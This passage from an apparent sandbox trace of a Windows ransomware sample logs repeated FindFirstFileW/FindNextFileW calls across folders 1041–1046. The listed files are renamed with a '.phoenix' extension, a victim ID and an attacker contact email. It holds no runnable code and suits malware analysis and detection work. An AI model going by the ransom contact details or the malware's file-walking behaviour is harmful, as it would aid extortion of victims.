	[0218.949] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.949] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1041", cAlternateFileName="")) returned 1
	[0218.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0218.950] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.950] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dcc4f87, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dcc4f87, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3de4fe25, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x2882, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.950] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd18be5, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dd18be5, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3de66f05, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x10b92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.950] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d59c5c6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d59c5c6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d68129d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.950] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d59c5c6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d59c5c6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d68129d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.950] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0218.951] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.951] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1042", cAlternateFileName="")) returned 1
	[0218.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.953] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.953] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de66f05, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3de66f05, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ded97ed, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3282, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0218.953] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de66f05, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3de66f05, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3deb3310, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0218.953] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d68129d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d68129d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d6f3c8d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0218.953] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d68129d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d68129d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d6f3c8d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0218.953] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
	[0218.954] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.954] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1043", cAlternateFileName="")) returned 1
	[0218.954] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.180] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.180] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ded97ed, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ded97ed, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e8d53f8, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.180] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ded97ed, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ded97ed, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e8d53f8, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x13822, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.180] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6a7fd0, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d6a7fd0, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d7d8a5a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.180] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6a7fd0, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d6a7fd0, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d7d8a5a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.180] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.181] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.181] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1044", cAlternateFileName="")) returned 1
	[0219.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.196] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.196] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8d53f8, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e8d53f8, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e8fb5fb, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.197] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8d53f8, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e8d53f8, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e924c5a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x136d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.197] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6f3c8d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d6f3c8d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d84b6ac, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.197] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6f3c8d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d6f3c8d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d84b6ac, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.197] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.197] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.197] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1045", cAlternateFileName="")) returned 1
	[0219.197] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.198] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.198] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8fb5fb, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e8fb5fb, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e96dd4e, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.198] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e924c5a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e924c5a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e993ff8, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.198] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7d8a5a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d7d8a5a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3da82939, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.199] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7d8a5a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d7d8a5a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3da82939, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.199] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.199] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.199] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1046", cAlternateFileName="")) returned 1
	[0219.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.200] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.200] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e96dd4e, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e96dd4e, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3eb37904, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xf62, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.200] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9ba17f, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e9ba17f, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ea2e6ca, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x13c72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.200] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d955fab, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d955fab, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d9ee98e, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
